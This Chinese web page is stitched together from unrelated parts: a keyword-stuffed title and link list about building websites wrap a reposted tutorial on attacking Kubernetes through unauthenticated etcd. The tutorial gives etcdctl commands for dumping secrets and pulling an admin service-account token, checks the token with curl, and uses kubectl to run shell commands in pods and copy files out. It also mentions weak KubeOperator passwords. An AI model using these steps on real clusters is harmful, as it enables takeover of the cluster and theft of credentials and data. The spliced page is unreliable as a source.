当前位置: 首页 > news >正文

做视频参考什么网站福建建设中心网站

做视频参考什么网站,福建建设中心网站,建设工程资料网站,来个网站你知道的2022年在安装完 K8s 后,默认会安装 etcd 组件,etcd 是一个高可用的 key-value 数据库,它为 k8s 集群提供底层数据存储,保存了整个集群的状态。大多数情形下,数据库中的内容没有加密,因此如果黑客拿下 etcd&#x…

在这里插入图片描述

在安装完 K8s 后,默认会安装 etcd 组件,etcd 是一个高可用的 key-value 数据库,它为 k8s 集群提供底层数据存储,保存了整个集群的状态。大多数情形下,数据库中的内容没有加密,因此如果黑客拿下 etcd,就意味着能控制整个 K8s 集群。

etcd 未授权访问

如果目标在启动 etcd 的时候没有开启证书认证选项,且 2379 端口直接对外开放的话,则存在 etcd 未授权访问漏洞。

访问目标的 https://IP:2379/version 或 https://IP:2379/v2/keys,看看是否存在未授权访问。如果显示如下,则证明存在未授权访问。

image-20231222085653333

1.查找token

需要使用到 etcd 命令行连接工具:etcdctl

由于 Service Account 关联了一套凭证,存储在 Secret 中。因此我们可以过滤 Secret,查找具有高权限的 Secret,然后获得其 token 接管 K8s 集群

#查找所有的secret
ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://172.16.200.70:2379/ get / --prefix --keys-only|sort|uniq| grep secret

image-20231222090234172

从返回的数据中挑选出一个具有高权限的 role 并读取其 token,以 /registry/secrets/kube-system/dashboard-admin-token-c7spp 为例,其中 kube-system 代表 namespace、dashboard-admin 是 clusterrole

#查找指定secret保存的证书和token
ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://172.16.200.70:2379/ get /registry/secrets/kube-system/dashboard-admin-token-c7spp

image-20231222090606284

复制 token,最后的 token 为 token? 和 #kubernetes.io/service-account-token 之间的部分

image-20231222112025096

如果机器上安装了 KubeOperator 存在弱口令,登录之后可以在集群中获取管控 token

image-20231222113634553

如果不知道 server api 可以通过 webkubectl 获取

kubectl cluster-info

image-20231222113822617

2.验证token有效性

curl --header "Authorization: Token" -X GET https://172.16.200.70:6443/api -k

3.使用 kebuctl 去执行命令

这里直接指定 token 去执行命令,或者可以通过制作配置文件指定配置文件来执行但是比较复杂

kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token="[ey...]" -n kube-system get pods

image-20231222112738092

kebuctl 常用命令

# 查看所有的资源信息
kubectl get all
kubectl get --all-namespaces
# 获取pods列表
kubectl get pods -o wide --all-namespaces
-n 指定命令空间
-o wide 展示详细信息
# 执行命令
kubectl exec -it podsname -n namespace -- command
-- bash 进入 shell
# 下载文件
kubectl cp -n 命名空间 pod名字:/data/1.hprof(在pod中要下载文件的路径) (本地保存文件的路径)

学习文章

  • K8s集群安全攻防(上)
  • K8s集群安全攻防(下)
http://www.yayakq.cn/news/998471/

相关文章:

  • 建设银行网站上改手机公司如何注册网站
  • 广州帮人网站建设做网站大公司有哪些
  • 公司网站手机版求个没封的w站2021软件
  • 贺州同城购物网站建设有哪个网站可以学做面条开面馆
  • 建设电子商务网站流程ui培训班教什么
  • wordpress 大型网站wordpress一键建站
  • 学校校园网站建设方案wordpress邮件 插件
  • 高档网站设计上海市企业网站建设
  • 网站建设维保合同wordpress 多功能插件下载
  • 英文网站模板改成中文wordpress 添加媒体库
  • 福田网站建设方案费用有哪些做兼职的设计网站有哪些工作内容
  • 对于网站建设的意见和建议百度网页版无痕模式
  • 上海建站网站简洁案例网站规划包括哪些方面
  • 搜索网站有哪些wordpress评论设置
  • 公司内部网站建设的意义西安嵌入式培训
  • 新闻录入网站模板网站建设维护合同模板
  • 网站开发提现功能响应式网站服务
  • 劳保手套网站建设wordpress 链接按钮
  • 沈阳网站建设搜q479185700百度手机助手安卓版下载
  • 网站开发 入门个人简历模板在线编辑免费
  • 免费网站建设多少钱张家港建网站
  • 网站制作建设模板国外直播平台tiktok
  • 网站建设公司推广方式微信公众号如何创建
  • 网站建设培训学院门户网站开发 系统介绍
  • 北京清控人居建设集团网站wordpress基础版
  • 云浮 网站建设腾龙官方网站做号软件
  • 安网站建设公司松阳县建设局网站公示
  • 做网站平台的营业执照五金表带厂东莞网站建设
  • dede网站栏目管理如何建设什么是软件的开发平台
  • 购物网站设计目标深圳网站优讳化